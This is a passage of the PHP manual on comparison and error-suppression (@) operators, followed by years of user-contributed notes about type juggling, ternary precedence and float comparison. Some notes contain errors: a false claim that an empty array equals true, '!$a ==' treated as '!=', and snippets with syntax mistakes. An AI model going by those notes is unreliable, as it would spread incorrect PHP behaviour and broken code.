// on first glance, the following appears to output 'true'
echo (true?'true':false?'t':'f');

// however, the actual output of the above is 't'
// this is because ternary expressions are evaluated from left to right

// the following is a more obvious version of the same code as above
echo ((true ? 'true' : false) ? 't' : 'f');

// here, you can see that the first expression is evaluated to 'true', which
// in turn evaluates to (bool)true, thus returning the true branch of the
// second ternary expression.
?>

User Contributed Notes

lennartackermans at gmail dot com 24-Dec-2011 05:50
Be cautious when using === and !== operators and be sure that you understand their meanings. ($a === TRUE) is not the same as ($a !== FALSE). When testing the return value of a function that may return boolean false or a value of another type (like strpos()), do not test for boolean true.

The following script will only output "Not false":

<?php

$a = 5;

if ($a === TRUE) {
    echo "True";
}

if ($a !== FALSE) {
    echo "Not false";
}
?>
j-a-n at gmx dot de 13-Oct-2011 02:32
Please be careful when comparing strings with floats, especally when you are using the , as decimal.

<?php
var_dump($alt);
var_dump($neu);
var_dump($alt == $neu);
?>

string(9) "590217,73"
float(590217,73)
bool(false)

not the float is cast to a string and then string-compared, but the string is cast to a float and then float-compared.

to compare as strings use strval!

<?php
var_dump(strval($alt));
var_dump(strval($neu));
var_dump(strval($alt) == strval($neu));
?>

string(9) "590217,73"
string(9) "590217,73"
bool(true)
Cuong Huy To 10-Jul-2011 07:48
In the table "Comparison with Various Types", please move the last line about "Object" to be above the line about "Array", since Object is considered to be greater than Array (tested on 5.3.3)

(Please remove my "Anonymous" post of the same content before. You could check IP to see that I forgot to type my name)
Anonymous 10-Jul-2011 06:23
In the table "Comparison with Various Types", please move the last line about "Object" to be above the line about "Array", since Object is considered to be greater than Array (tested on 5.3.3)
Mark Simon 16-Jun-2011 02:20
The use of 5.3’s shortened ternary operator allows PHP to coalesce a null or empty value to an alternative:

$value = $planA ?: $planB;

My own server doesn’t yet run 5.3. A nice alternative is to use the “or” operator:

$value = $planA or $value = planB;
email at kleijn dot jp 03-May-2011 07:58
Maybe i am overlooking something but it seems to me that using unset(string) inside a ternary operator creates an error.

(($var1==0 && $var2==0)?unset($var3):$var3=$var1+$var2);

result:
Parse error: syntax error, unexpected T_UNSET

using the traditional form of IF...ELSE works normal.

if($var1==0 && $var2==0) { unset($var3); }
else { $var3=$var1+$var2; }

result:
This unsets var3 or creates a sum of var1+var2 for var3

JP Kleijn
Netherlands
zak at minion dot net 21-Apr-2011 11:18
be careful when trying to concatenate the result of a ternary operator to a string

<?php
print '<div>'.(FALSE) ? 'TRUE [bad ternary]' : 'FALSE [bad ternary]';
print '<br><br>';
print '<div>'.((FALSE) ? 'TRUE [good ternary]' : 'FALSE [good ternary]');
?>

yields:

TRUE [bad ternary]

FALSE [good ternary]

this is because the ternary evaluates '<div>'.(FALSE) not (FALSE) - so the end result is TRUE
me at lx dot sg 23-Sep-2010 07:08
Replying to the comment on Aug 6, 2010, the comparisons return TRUE because they are recognized as numerical strings and are converted to integers. If you try "abc" == " abc", it will return FALSE as expected. To avoid the type conversions, simply use the identity operator (===).
arnaud at arnapou dot net 06-Aug-2010 01:12
I discover after 10 years of PHP development something awfull : even if you make a string comparison (both are strings), strings are tested like integers and leading "space" character (even \n, \r, \t) is ignored ....

I spent hours because of leading \n in a string ... it hurts my developper sensibility to see two strings beeing compared like integers and not like strings ... I use strcmp now for string comparison ... so stupid ...

Test code :
<?php

test("1234", "1234");
test("1234", " 1234");
test("1234", "\n1234");
test("1234", "1234 ");
test("1234", "1234\n");

function test($v1, $v2) {
    echo "<h1>[".show_cr($v1)."] vs [".show_cr($v2)."]</h1>";
    echo my_var_dump($v1)."<br />";
    echo my_var_dump($v2)."<br />";
    if($v1 == $v2) {
        echo "EQUAL !";
    }
    else {
        echo "DIFFERENT !";
    }
}

function show_cr($var) {
    return str_replace("\n", "\\n", $var);
}

function my_var_dump($var) {
    ob_start();
    var_dump($var);
    $dump = show_cr(trim(ob_get_contents()));
    ob_end_clean();
    return $dump;
}

?>

Displays this ->

[1234] vs [1234]
string(4) "1234"
string(4) "1234"
EQUAL !

[1234] vs [ 1234]
string(4) "1234"
string(5) " 1234"
EQUAL !

[1234] vs [\n1234]
string(4) "1234"
string(5) "\n1234"
EQUAL !

[1234] vs [1234 ]
string(4) "1234"
string(5) "1234 "
DIFFERENT !

[1234] vs [1234\n]
string(4) "1234"
string(5) "1234\n"
DIFFERENT !
mail at markuszeller dot com 04-Aug-2010 01:40
I prefer writing (!$a == 'hello') much more than ($a != 'hello'), but I wondered about the performance.

So I did a benchmark:
<?php
for($bench = 0; $bench < 3; $bench++)
{
    $start = microtime(true);
    $a = 1;
    for($i = 0; $i < 100000000; $i++)
  {
        if(!$a == 'hello') $b++;
    }
    $end = microtime(true);
    echo "Used time: " . ($end-$start) . "\n";
}
?>
and it results with

# if($a != 'hello')
Used time: 12.552895069122
Used time: 12.548940896988
Used time: 12.470285177231

# if(!$a == 'hello')
Used time: 7.6532161235809
Used time: 7.6426539421082
Used time: 7.6452689170837
michal dot kocarek at brainbox dot cz 23-May-2010 11:05
I am posting another hint about formatting of conditional expression blocks. It does take more lines, but lines starting with "?" and ":" allow to distinguish ternary operator quite quickly.

<?php
// Single ternary operator
$sentence = $value == 1
    ? 'You have one egg.'
    : 'You have '.$value.' eggs.';

// Nested ternary operators
$sentence = $value == 1
    ? 'You have one egg.'
    : ($value == 0
        ? 'You have no eggs.'
        ($value == 2
            ? 'You have two eggs.'
            : 'You have '.$value.' eggs.'
    );
?>

PS: In case on wondering about concatenation "." operator inside the expression: concatenation has higher priority than ternary operator, so it is evaluated first.
alan dot g at nospam dot net 09-May-2010 12:44
a function to help settings default values, it returns its own first non-empty argument :

make your own eor combos !

<?php

/*
 * Either Or
 *
 * usage:  $foo = eor(test1(),test2(),"default");
 * usage:  $foo = eor($_GET['foo'], foogen(), $foo, "bar");
 */

function eor() {
    $vars = func_get_args();
     while (!empty($vars) && empty($defval))
         $defval = array_shift($vars);
     return $defval;
}

?>
taras dot bogach at gmail dot com 31-Mar-2010 07:46
Boolean switch usege

<?php
class User_Exception extends Exception{}
class User{
  public function register($login,$pass,$passCheck)
    switch(false){
      case(strlen($pass) >= 5):
        throw new User_Exception("Password must be at last 5 chars length");
      case($pass == $passCheck):
        throw new User_Exception("Password is not confirmed!");
      case(strlen($login) >= 5):
        throw new User_Exception("Login must be at last 5 chars length");
      //Do other checks
      default:
        //Do registration
        return true;
    }
  }
  //...
}
?>
crazy888s at hotmail dot com 01-Feb-2010 10:32
I couldn't find much info on stacking the new ternary operator, so I ran some tests:

<?php
echo 0 ?: 1 ?: 2 ?: 3; //1
echo 1 ?: 0 ?: 3 ?: 2; //1
echo 2 ?: 1 ?: 0 ?: 3; //2
echo 3 ?: 2 ?: 1 ?: 0; //3

echo 0 ?: 1 ?: 2 ?: 3; //1
echo 0 ?: 0 ?: 2 ?: 3; //2
echo 0 ?: 0 ?: 0 ?: 3; //3
?>

It works just as expected, returning the first non-false value within a group of expressions.
ISAWHIM 30-Jan-2010 10:53
When it comes to formatting structure of the conditional statements, I found this to work best and retain logic in views...

<?php
$z = 2;
$text = ($z===1 ? 'ONE'
  : ($z===2 ? 'TWO'
  : ($z===3 ? 'THREE'
  : 'MORE' )));
echo($text); // RESULT='TWO'

// LONGHAND

$z = 2;
$text = ($z===1?'ONE' : ($z===2?'TWO' : ($z===3?'THREE' : 'MORE')));
echo($text); // RESULT='TWO'
?>

Since this is expected to test logic, and nothing more, only use it to test logic.

To test order, if you ever forget...

<?php
$z = 1;
$text = ($z===1 ? 'FIRST : OUTTER'
  : ($z===1 ? 'SECOND : INNER'
  : ($z===1 ? 'THIRD : LAST'
  : 'FAIL EVAL DEFAULT' )));
echo($text); // RETURN='FIRST : OUTTER'

$z = 2;
$text = ($z===1 ? 'FIRST : OUTTER'
  : ($z===1 ? 'SECOND : INNER'
  : ($z===1 ? 'THIRD : LAST'
  : 'FAIL EVAL DEFAULT' )));
echo($text); // RETURN='FAIL EVAL DEFAULT'
?>

(IF ? THEN : ELSE)
(IF ? THEN : ELSE(IF ? THEN : ELSE(IF ? THEN : ELSE))

That can't be read from inside to out, unlike a math formula, because the logic in comparison is not the same. In math nesting, you need the solution to the deepest nested element first. In logic comparison, you always start outside before you compare inside. (Logically, IF there is no door THEN you need something ELSE to get inside. Oh, there is a window... We are inside, now IF there is a fridge THEN open it or ELSE you starve.)
kapoor_rajiv at hotmail dot com 13-Oct-2009 06:09
A quick way to do mysql bit comparison in php is to use the special character it stores . e.g
<?php
                                        if ($AvailableRequests['OngoingService'] == '')
                                            echo '<td>Yes</td>';
                                        else
                                            echo '<td>No</td>';

?>
pinkgothic at gmail dot com 18-Sep-2009 04:28
"Array with fewer members is smaller, if key from operand 1 is not found in operand 2 then arrays are uncomparable, otherwise - compare value by value (see following example)."

The example covers this behaviour, but it isn't immediately obvious, so:

If you're doing loose comparisons in PHP, note that they differ from checking each value individually like $value1==$value2 by adding what amounts to an empty($value1)==empty($value2) check into the mix. I found this out by investigating some (to me) bizarre behaviour.
[Note that the example contains no ==, just > and <. It's its absence that perceivedly 'causes empty() to fire'.]

I was also pleasantly surprised to see PHP recurse. Also clear if you keep in mind that the example implies another function call to itself with > and < if both operands are arrays, but IMO definitely worth stating.

It might also be worth noting that the order of array keys doesn't matter, even if a foreach() would see a 'different' array. Again, covered by the example, but might be worth stressing.
Anonymous 03-Aug-2009 10:44
Note: The ternary shortcut currently seems to be of no use in dealing with unexisting keys in an array, as PHP will throw an error. Take the following example.

<?php
$_POST['Unexisting'] = $_POST['Unexisting'] ?: false;
?>

PHP will throw an error that the "Unexisting" key does not exist. The @ operator does not work here to suppress this error.
monkuar at gmail dot com 27-Jul-2009 04:45
U can even add a variable on that if u wish:

($Profile['skinstyle']=='0')? $lol = "selected":"";

then call it out.. alot faster. if u use EOF.. and such like on ibp :(
Anonymous 07-Feb-2009 06:37
Here is some ternary trick I like to use for selecting a default value in a set of radio buttons. This example assumes that a prior value was known and that we are offering a user the chance to edit that prior value. If no prior value was actually known, no default value will be set.

<form>
<input type='radio' name='gender' value='m' <?=($gender=='m')?"checked":""?>>Male
<input type='radio' name='gender' value='f' <?=($gender=='f')?"checked":""?>>Female
</form>

When a "=" directly follows a "<?" (no space allowed in between -- the trick does not work with "<?php"), the right side of the operand (here, the result of the ternary operation) is printed out as text into the surrounding HTML code. If using "<?php" form, you will need to do "<?php echo exp1?exp2:exp3 ?>" instead.
mruivo at gmail dot com 20-Dec-2008 07:13
Note that an expression where a boolean variable and a string are compared with the equal operator, will always come out true as a string is technically true. For example:

<?php

$variable = true;
if ($variable == "something") {

   //This code will be excecuted

}

?>

To get around this use the identical operator ===, as the types are not the same.
Hayley Watson 26-Oct-2008 08:45
The cast from null to boolean is documented (on the page describing the boolean type: null->false), and so is the cast from boolean to integer (on the page describing the integer type: false->0), but the cast from null to integer is undefined and the fact that it is currently implemented by casting from null to boolean and then from boolean to integer is explicitly documented (on the page describing the integer type) as something that should not be relied on (so null==0 is true only by accident, but ((int)(bool)null)==0 is true per specification).

Perhaps as well as a "Converting to integer" section on the integer type page there should also be a "Converting from integer" section; similarly for the other types.
jescribens at urbangolem dot com 04-Apr-2008 09:13
Hi all:

I found this and maybe it can help you, i didn't found it documented anywhere :

Assuming you have a function that returns an array or a null value in failure and you do something like this

<?php
function myfunction()
{
     if($something==$other)
     {
           return array(0=>array(0=>array('valor'=>$other)));
     }else{
           return null;
     }
}

$x = myfunction();

var_dump($x);    //can be null

if($x[0][0]['value'] < 1)
{
    echo "nok";
}else{
    echo "ok";
}

?>

If the function returns null then you get "nok" printed.
As far as I see NULL values are always less than 1, and the fact that I request a sub array ([0][0]['value']) doesn't give me any notice nor warning.

Hope this helps anybody.

Greetings
Amaroq 25-Feb-2008 03:13
Most of the time, you may be content with your conditionals evaluating to true if they are evaluating a non-false, non-zero value. You may also like it when they evaluate to false when you use the number 0.

However, there may be times where you want to make a distinction between a non-false value and a boolean true. You may also wish to make a distinction between a boolean false and a zero.

The identity operator can make this distinction for you.

<?php
$a = 'some string';
$b = 123;
$c = 0;

if($a && $b && (!$c))
{ echo "True.\n"; } else { echo "False.\n"; }

if($a == true && $b == true && $c == false)
{ echo "True.\n"; } else { echo "False.\n"; }

if($a === true || $b === true || $c === false)
{ echo "True.\n"; } else { echo "False.\n"; }
?>

The above code outputs the following:
True.
True.
False.

As you can see, in the first two cases, $a and $b are considered true, while $c is considered false. If this wasn't the case, neither of the first two conditionals would have echoed "True."

In the last case, I've cleverly used the || operator to demonstrate that both $a and $b do not evaluate to true with the identity operator, nor does $c evaluate to false.

The === operator can be used to distinguish boolean from non-boolean values.
ken at smallboxsoftware net 15-Nov-2007 08:20
This seems a bit odd to me, but PHP can convert two strings into integers during comparison.  For example: "700" == "+700" return true even though they are totally different strings.

Use === or strcmp when comparing two strings to ensure that they remain as strings during comparison.
Hayley Watson 09-Apr-2007 10:38
Note that the "ternary operator" is better described as the "conditional operator". The former name merely notes that it has three arguments without saying anything about what it does. Needless to say, if PHP picked up any more ternary operators, this will be a problem.

"Conditional Operator" is actually descriptive of the semantics, and is the name historically given to it in, e.g., C.
thomas dot oldbury at tgohome dot com 27-Feb-2007 09:37
Be careful when using the ternary operator!

The following will not evaluate to the expected result:

<?php
echo "a string that has a " . (true) ? 'true' : 'false' . " condition in. ";
?>

Will print true.

Instead, use this:

<?php
echo "a string that has a " . ((true) ? 'true' : 'false') . " condition in. ";
?>

This will evaluate to the expected result: "a string that has a true condition in. "

I hope this helps.
fernandoleal at dragoncs dot com 03-Feb-2007 11:19
If you need nested ifs on I var its important to group the if so it works.
Example:
<?php
//Dont Works
//Parse error: parse error, unexpected ':'
 $var='<option value="1" '.$status == "1" ? 'selected="selected"' :''.'>Value 1</option>';
 //Works:
 $var='<option value="1" '.($status == "1" ? 'selected="selected"' :'').'>Value 1</option>';

echo $var;
?>
stepheneliotdewey at gmail [period] com 07-Jan-2007 06:49
Note that typecasting will NOT prevent the default behavior for converting two numeric strings to numbers when comparing them.

e.g.:

<?php
if ((string) '0123' == (string) '123')
    print 'equals';
else
    print 'doesn\'t equal';
?>

Still prints 'equals'

As far as I can tell the only way to avoid this is to use the identity comparison operators (=== and !==).
04-Jan-2007 07:11
Since php 5.2 the operator == for object vs object is not recursion safe, it will cause a fatal error if one of the objects contains a refernce to it self (indirect refferences also counts here).
If you are just checking if two object pointers points to the same object use === instead and aviod this issue (you might get a minimal speed bost too).
bishop 26-Oct-2006 03:49
When you want to know if two arrays contain the same values, regardless of the values' order, you cannot use "==" or "===".  In other words:

<?php
(array(1,2) == array(2,1)) === false;
?>

To answer that question, use:

<?php
function array_equal($a, $b) {
    return (is_array($a) && is_array($b) && array_diff($a, $b) === array_diff($b, $a));
}
?>

A related, but more strict problem, is if you need to ensure that two arrays contain the same key=>value pairs, regardless of the order of the pairs.  In that case, use:

<?php
function array_identical($a, $b) {
    return (is_array($a) && is_array($b) && array_diff_assoc($a, $b) === array_diff_assoc($b, $a));
}
?>

Example:
<?php
$a = array (2, 1);
$b = array (1, 2);
// true === array_equal($a, $b);
// false === array_identical($a, $b);

$a = array ('a' => 2, 'b' => 1);
$b = array ('b' => 1, 'a' => 2);
// true === array_identical($a, $b)
// true === array_equal($a, $b)
?>

(See also the solution "rshawiii at yahoo dot com" posted)
pcdinh at phpvietnam dot net 10-Aug-2006 09:50
You should be very careful when using == with an result set returned from a query that can be an empty array, multi-dimensional array or a boolean false value (if the query failed to execute). In PHP, an empty array is equivalent to true.

<?php
$myArray = array();

// check if there is any error with the query
if ($myArray == false)
{
    echo "Yes";
}
?>

return Yes

Use === instead.
Alex 17-May-2006 07:49
I think everybody should read carefully what "jeronimo at DELETE_THIS dot transartmedia dot com" wrote. It's a great pitfall even for seasoned programmers and should be looked upon with a great attention.
For example, comparing passwords with == may result in a very large security hole.

I would add some more to it:

The workaround is to use strcmp() or ===.

Note on ===:

While the php documentation says that, basically,
($a===$b)  is the same as  ($a==$b && gettype($a) == gettype($b)),
this is not true.

The difference between == and === is that === never does any type conversion. So, while, according to documentation, ("+0.1" === ".1") should return true (because both are strings and == returns true), === actually returns false (which is good).
adam at caucho dot com 08-May-2006 10:49
Note: according to the spec, PHP's comparison operators are not transitive.  For example, the following are all true in PHP5:

"11" < "a" < 2 < "11"

As a result, the outcome of sorting an array depends on the order the elements appear in the pre-sort array.  The following code will dump out two arrays with *different* orderings:

<?php
$a = array(2,    "a",  "11", 2);
$b = array(2,    "11", "a",  2);
sort($a);
var_dump($a);
sort($b);
var_dump($b);
?>

This is not a bug report -- given the spec on this documentation page, what PHP does is "correct".  But that may not be what was intended...
rshawiii at yahoo dot com 18-Jan-2006 11:36
You can't just compare two arrays with the === operator
like you would think to find out if they are equal or not.  This is more complicated when you have multi-dimensional arrays.  Here is a recursive comparison function.

<?php
/**
 * Compares two arrays to see if they contain the same values.  Returns TRUE or FALSE.
 * usefull for determining if a record or block of data was modified (perhaps by user input)
 * prior to setting a "date_last_updated" or skipping updating the db in the case of no change.
 *
 * @param array $a1
 * @param array $a2
 * @return boolean
 */
function array_compare_recursive($a1, $a2)
{
   if (!(is_array($a1) and (is_array($a2)))) { return FALSE;}

   if (!count($a1) == count($a2))
      {
       return FALSE; // arrays don't have same number of entries
      }

   foreach ($a1 as $key => $val)
   {
       if (!array_key_exists($key, $a2))
           {return FALSE; // uncomparable array keys don't match
              }
       elseif (is_array($val) and is_array($a2[$key]))  // if both entries are arrays then compare recursive
           {if (!array_compare_recursive($val,$a2[$key])) return FALSE;
           }
       elseif (!($val === $a2[$key])) // compare entries must be of same type.
           {return FALSE;
           }
   }
   return TRUE; // $a1 === $a2
}
?>
sam at liddicott dot com 01-Nov-2005 07:42
Don't be deceived into thinking that === compares objects for identity, it does not. It does a recusrive comparison which fails if there are recusrive object references involved, and will report as identical two different object instances that happen to merely have the same value.
You can see the stated problem at: http://bugs.php.net/bug.php?id=35053

My workaround is php::CompareObjects($a,$b)

<?php
# static class to hold methods to encapsulate php deficiencies in various versions
class php {
  # in === on objects in php4 does a dumb recusrive check instead
  function CompareObject(&$a,&$b) {
    $value='Bah! Stupid===';
    $key="bah".rand(0,1000);
    while(isset($a->$key)) $key.=rand(0,9);

    if (isset($b->$key)) return FALSE;
    $a->$key=$value;
    $result=($a->$key===$b->$key);
    unset($a->$key);
    return $result;
  }
}
?>
07-Sep-2005 01:09
The following contrasts the trinary operator associativity in PHP and Java.  The first test would work as expected in Java (evaluates left-to-right, associates right-to-left, like if stmnt), the second in PHP (evaluates and associates left-to-right)

<?php

echo "\n\n######----------- trinary operator associativity\n\n";

function trinaryTest($foo){

    $bar    = $foo > 20
            ? "greater than 20"
            : $foo > 10
                ? "greater than 10"
                : $foo > 5
                    ? "greater than 5"
                    : "not worthy of consideration";
    echo $foo." =>  ".$bar."\n";
}

echo "----trinaryTest\n\n";
trinaryTest(21);
trinaryTest(11);
trinaryTest(6);
trinaryTest(4);

function trinaryTestParens($foo){

    $bar    = $foo > 20
            ? "greater than 20"
            : ($foo > 10
                ? "greater than 10"
                : ($foo > 5
                    ? "greater than 5"
                    : "not worthy of consideration"));
    echo $foo." =>  ".$bar."\n";
}

echo "----trinaryTestParens\n\n";
trinaryTestParens(21);
trinaryTestParens(11);
trinaryTest(6);
trinaryTestParens(4);

?>

Output:

######----------- trinary operator associativity

----trinaryTest

21 =>  greater than 5
11 =>  greater than 5
6 =>  greater than 5
4 =>  not worthy of consideration

----trinaryTestParens

21 =>  greater than 20
11 =>  greater than 10
6 =>  greater than 5
4 =>  not worthy of consideration
sven dot heyll at web dot de 05-Dec-2004 01:19
Hi folks,
to the float comparison problem...

This worked for me:

<?php
//! compare two floating point values, return true if they are equal
//! (enough) or false otherwise
function float_equal($f1, $f2)
{
    return ($f1 > $f2) ? (false) : (!($f1 < $f2));
}

// compare floats
$f1 = 0.037;
$f2 = 1000387.978;
echo "$f1 and $f2 are ".(float_equal($f1,$f2)?("equal"):("not equal"))."<br />";
$f1 = 0.3;
$f2 = 0.3;
echo "$f1 and $f2 are ".(float_equal($f1,$f2)?("equal"):("not equal"))."<br />";
?>
02-Dec-2004 03:47
Concerning floats: It is simply pointless to compare a float with the value "0.3". The number 0.3 is not exactly representable in binary. Period. So is the number 0.1, and an infinite number of others numbers. Just like 1/3 is not exactly representable in decimal. How would you code the test for your float to be one third? Maybe $myFloat == 0.33333333333   Hmm: you see: Everyone would agree that this test is not accurate.

The test $myFloat == 0.3 is making exactly the same mistake.

So the float which you think should be 0.3 is really something very close to it; if you print it in decimal, the conversion will end up with the closest decimal representation, which may well be "0.3". But "0.3" is also the "right display decimal" for hundreds of float values.

The correct way to "compare" floats is: ( $myFloat - 0.3 ) < $EPSILON where $EPSILON is something like 1e-10, depending on your application. Approximate algorithms are the only right way to treat floats, which are only approximate by themselves.
darkcryst at gmail dot com 21-Oct-2004 03:35
be REALLY careful when comparing float values. PHP, like most languages, is vunerable to he problems of floating point precision.

Do NOT compare floats directly, and this also means any decimal value at all.

The headaches finding out if $var = 0.3 caused me are unbelievable. even though the stored variable WAS 0.3 it was still ignoring it - this was to do with the internal float not recognising it as 0.3 even though it *displayed* it as 0.3 when echo'd or printed... basically it was stored imprecisly, but not able to display it as such.

I ended up having to compare after multiplying by 10, rounding, and then dividing by 10... rediculous, but sadly the only way I could find to reliably do it. The round seemed to remove the break in the float...

jesus that took me ages to find...
hiroh2k at yahoo dot com 19-Oct-2004 11:05
if you want to use the ?: operator, you should be careful with the precedence.

Here's an example of the priority of operators:

<?php
echo 'Hello, ' . isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register';
?>

This make "'Hello, ' . isset($i)" the sentence to evaluate. So, if you think to mix more sentences with the ?: operator, please use always parentheses to force the proper evaluation of the sentence.

<?php
echo 'Hello, ' . (isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register');
?>

for general rule, if you mix ?: with other sentences, always close it with parentheses.
jeronimo at DELETE_THIS dot transartmedia dot com 02-Jul-2004 04:01
For converted Perl programmers: use strict comparison operators (===, !==) in place of string comparison operators (eq, ne). Don't use the simple equality operators (==, !=), because ($a == $b) will return TRUE in many situations where ($a eq $b) would return FALSE.

For instance...
"mary" == "fred" is FALSE, but
"+010" == "10.0" is TRUE (!)

In the following examples, none of the strings being compared are identical, but because PHP *can* evaluate them as numbers, it does so, and therefore finds them equal...

<?php

echo ("007" == "7" ? "EQUAL" : "not equal");
// Prints: EQUAL

// Surrounding the strings with single quotes (') instead of double
// quotes (") to ensure the contents aren't evaluated, and forcing
// string types has no effect.
echo ( (string)'0001' == (string)'+1.' ? "EQUAL" : "not equal");
// Prints: EQUAL

// Including non-digit characters (like leading spaces, "e", the plus
// or minus sign, period, ...) can still result in this behavior, if
// a string happens to be valid scientific notation.
echo ('  131e-2' == '001.3100' ? "EQUAL" : "not equal");
// Prints: EQUAL

?>

If you're comparing passwords (or anything else for which "near" precision isn't good enough) this confusion could be detrimental. Stick with strict comparisons...

<?php

// Same examples as above, using === instead of ==

echo ("007" === "7" ? "EQUAL" : "not equal");
// Prints: not equal

echo ( (string)'0001' === (string)'+1.' ? "EQUAL" : "not equal");
// Prints: not equal

echo ('  131e-2' === '001.3100' ? "EQUAL" : "not equal");
// Prints: not equal

?>
webmaster __AT__ digitalanime __DOT__ nl 13-Apr-2004 03:31
WARNING!!!!

Let's say, we have this little script:

<?php
$username = 'Me';
$guestusername = 'Guest';

echo 'Hello, ' . isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register';
?>

What you want:
If $i is set, display:
Hello, my friend: Me, how are you doing?
If not, display:
Hello, my guest, Guest, please register

BUT, you DON'T get that result!

If $i is set, you get this:
my friend: Me, how are you doing? (so, there's not "Hello, " before it)
If $i is NOT set, you get this:
my friend: Me, how are you doing?

So... That's the same!

You can solve this by using the "(" and ")" to give priority to the ternary operator:

<?php
$username = 'Me';
$guestusername = 'Guest';

echo 'Hello, ' . (isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register');
?>

When $i is set, you get this:
Hello, my friend: Me, how are you doing? (expected)
When $i is NOT set, you get this:
Hello, my guest, Guest, please register (expected too)

So.. Please, don't be dumb and ALWAYS use the priority-signs (or.. How do you call them?), ( and ).
By using them, you won't get unneeded trouble and always know for sure your code is doing what you want: The right thing.
user@example 04-Apr-2004 03:17
With Nested ternary Operators you have to set the logical  parentheses to get the correct result.

<?php
$test=true;
$test2=true;

($test) ? "TEST1 true" :  ($test2) ? "TEST2 true" : "false";
?>
This will output: TEST2 true;

correct:

<?php
$test=true;
$test2=true;

($test) ? "TEST1 true" : (($test2) ? "TEST2 true" : "false");
?>

Anyway don't nest them to much....!!
jwhiting at hampshire dot edu 09-Dec-2003 03:31
note: the behavior below is documented in the appendix K about type comparisons, but since it is somewhat buried i thought i should raise it here for people since it threw me for a loop until i figured it out completely.

just to clarify a tricky point about the == comparison operator when dealing with strings and numbers:

('some string' == 0) returns TRUE

however, ('123' == 0) returns FALSE

also note that ((int) 'some string') returns 0

and ((int) '123') returns 123

the behavior makes senes but you must be careful when comparing strings to numbers, e.g. when you're comparing a request variable which you expect to be numeric. its easy to fall into the trap of:

if ($_GET['myvar']==0) dosomething();

as this will dosomething() even when $_GET['myvar'] is 'some string' and clearly not the value 0

i was getting lazy with my types since php vars are so flexible, so be warned to pay attention to the details...
Bitwise Operators
Error Control Operators
Operators


Error Control Operators

PHP supports one error control operator: the at sign (@). When prepended to an expression in PHP, any error messages that might be generated by that expression will be ignored.

If the track_errors feature is enabled, any error message generated by the expression will be saved in the variable $php_errormsg. This variable will be overwritten on each error, so check early if you want to use it.

<?php
/* Intentional file error */
$my_file = @file ('non_existent_file') or
    die ("Failed opening file: error was '$php_errormsg'");

// this works for any expression, not just functions:
$value = @$cache[$key];
// will not issue a notice if the index $key doesn't exist.

?>

Note: The @-operator works only on expressions. A simple rule of thumb is: if you can take the value of something, you can prepend the @ operator to it. For instance, you can prepend it to variables, function and include() calls, constants, and so forth. You cannot prepend it to function or class definitions, or conditional structures such as if and foreach, and so forth.

See also error_reporting() and the manual section for Error Handling and Logging functions.

Warning

Currently the "@" error-control operator prefix will even disable error reporting for critical errors that will terminate script execution. Among other things, this means that if you use "@" to suppress errors from a certain function and either it isn't available or has been mistyped, the script will die right there with no indication as to why.

User Contributed Notes

bohwaz 22-Jun-2011 06:27
If you use the ErrorException exception to have a unified error management, I'll advise you to test against error_reporting in the error handler, not in the exception handler as you might encounter some headaches like blank pages as error_reporting might not be transmitted to exception handler.

So instead of :

<?php

function exception_error_handler($errno, $errstr, $errfile, $errline )
{
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler");

function catchException($e)
{
    if (error_reporting() === 0)
    {
        return;
    }

    // Do some stuff
}

set_exception_handler('catchException');

?>

It would be better to do :

<?php

function exception_error_handler($errno, $errstr, $errfile, $errline )
{
    if (error_reporting() === 0)
    {
        return;
    }

    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler");

function catchException($e)
{
    // Do some stuff
}

set_exception_handler('catchException');

?>
anthon at piwik dot org 20-Feb-2011 12:39
If you're wondering what the performance impact of using the @ operator is, consider this example.  Here, the second script (using the @ operator) takes 1.75x as long to execute...almost double the time of the first script.

So while yes, there is some overhead, per iteration, we see that the @ operator added only .005 ms per call.  Not reason enough, imho, to avoid using the @ operator.

<?php
function x() { }
for ($i = 0; $i < 1000000; $i++) { x(); }
?>

real    0m7.617s
user    0m6.788s
sys    0m0.792s

vs

<?php
function x() { }
for ($i = 0; $i < 1000000; $i++) { @x(); }
?>

real    0m13.333s
user    0m12.437s
sys    0m0.836s
auser at anexample dot com 08-Sep-2010 04:02
Be aware that using @ is dog-slow, as PHP incurs overhead to suppressing errors in this way. It's a trade-off between speed and convenience.
darren at powerssa dot com 14-Jul-2010 09:33
After some time investigating as to why I was still getting errors that were supposed to be suppressed with @ I found the following.

1. If you have set your own default error handler then the error still gets sent to the error handler regardless of the @ sign.

2. As mentioned below the @ suppression only changes the error level for that call. This is not to say that in your error handler you can check the given $errno for a value of 0 as the $errno will still refer to the TYPE(not the error level) of error e.g. E_WARNING or E_ERROR etc

3. The @ only changes the rumtime error reporting level just for that one call to 0. This means inside your custom error handler you can check the current runtime error_reporting level using error_reporting() (note that one must NOT pass any parameter to this function if you want to get the current value) and if its zero then you know that it has been suppressed.
<?php
// Custom error handler
function myErrorHandler($errno, $errstr, $errfile, $errline)
{
    if ( 0 == error_reporting () ) {
        // Error reporting is currently turned off or suppressed with @
        return;
    }
    // Do your normal custom error reporting here
}
?>

For more info on setting a custom error handler see: http://php.net/manual/en/function.set-error-handler.php
For more info on error_reporting see: http://www.php.net/manual/en/function.error-reporting.php
M. T. 11-Oct-2009 09:20
Be aware of using error control operator in statements before include() like this:

<?PHP

(@include("file.php"))
 OR die("Could not find file.php!");

?>

This cause, that error reporting level is set to zero also for the included file. So if there are some errors in the included file, they will be not displayed.
dsbeam at gmail dot com 01-Sep-2009 07:22
Though error suppression can be dangerous at times, it can be useful as well.  I've found the following statements roughly equivalent:

     if( isset( $var ) && $var === $something )
     if( @$var === $something )

EXCEPT when you're comparing against a boolean value (when $something is false).  In that case, if it's not set the conditional will still be triggered.

I've found this useful when I want to check a value that might not exist:

     if( @$_SERVER[ 'HTTP_REFERER' ] !== '/www/some/path/file' )

or when we want to see if a checkbox / radio button have been submitted with a post action

     if( @$_POST[ 'checkbox' ] === 'yes' )

Just letting you guys know my findings, :)
gerrywastaken 19-May-2009 01:46
Error suppression should be avoided if possible as it doesn't just suppress the error that you are trying to stop, but will also suppress errors that you didn't predict would ever occur. This will make debugging a nightmare.

